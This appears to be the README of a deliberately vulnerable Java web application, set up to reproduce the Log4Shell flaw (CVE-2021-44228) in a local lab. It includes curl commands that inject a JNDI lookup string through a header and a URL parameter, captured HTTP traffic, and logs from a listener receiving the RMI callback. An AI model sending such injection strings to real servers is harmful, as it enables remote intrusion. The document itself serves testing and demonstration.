ktokkawu/l4s-vulnappThis is a potentially vulnerable Java web application containing Log4j affected by log4shell(CVE-2021-44228).
This is a potentially vulnerable Java web application containing Log4j(2.14.1) affected by log4shell(CVE-2021-44228).
java --version command to check if AdoptOpenJDK works properly.[Note]
If you want to change the JDK version, tomcat port, etc., edit build.gradle.
Execute Gradle wrapper with build.gradle.
# on Linux
./gradlew appRun
# on Windows
.\gradlew.bat appRun
Top URL:
http://localhost:8080/l4s-vulnapp/
[Note]
Log4Shell triggers only when the app performs some Log4j logging.
For example, if the following URL is accessed, Log4Shell will be executed.
http://localhost:8080/l4s-vulnapp/servlet
You can check Log4Shell by tampering with "x-param" value or by adding "x-log" header to the HTTP request when accessing it.
These params will be logged by Log4j.
However, this is only if a listening server is standing at localhost:8081.
curl http://localhost:8080/l4s-vulnapp/servlet -H 'x-log: ${jndi:rmi://localhost:8081/test.txt}'
curl -X GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D
HTTP Request
GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/ *;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/l4s-vulnapp/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: ja,en-US;q=0.9,en;q=0.8
HTTP Response
HTTP/1.1 200
Content-Type: text/plain;charset=utf-8
Content-Length: 62
Date: Fri, 15 Mar 2024 18:42:56 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Hello
Logging to console using vulnerable Log4j2 by parameter
RMI Request by l4s-vulnapp
2024/03/16 03:42:46: [Start] Receive Server for Log4Shell.
2024/03/16 03:42:46: [Note] Listening on IP: "localhost" Port: 8081
2024/03/16 03:42:55: [Note] Requested from IP: "127.0.0.1" Port: 53282)
2024/03/16 03:42:55: [Hex data] ===== start =====
2024/03/16 03:42:56: 00000000 4A 52 4D 49 00 02 4B 00 00 00 00 00 00 00 00 00 JRMI..K.........
2024/03/16 03:42:56: 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2024/03/16 03:42:56: [Hex data] ===== end =====
2024/03/16 03:42:56: [Raw data] ===== start =====
2024/03/16 03:42:56: JRMI
2024/03/16 03:42:56: [Raw data] ===== end =====
l4s-ls.ps1 starts a listen server, execute this script on Windows PowerShell/Command Prompt.
This server receives binary communications such as LDAP and RMI, and can display the contents of said communications in Hex and Raw.
If the script malfunctions, use Ctrl + C to stop.
[Caution]
When running this script for the first time, it is necessary to select "Private Network" in the Windows pop-up.
PowerShell -ExecutionPolicy RemoteSigned .\l4s-ls.ps1 -p 8081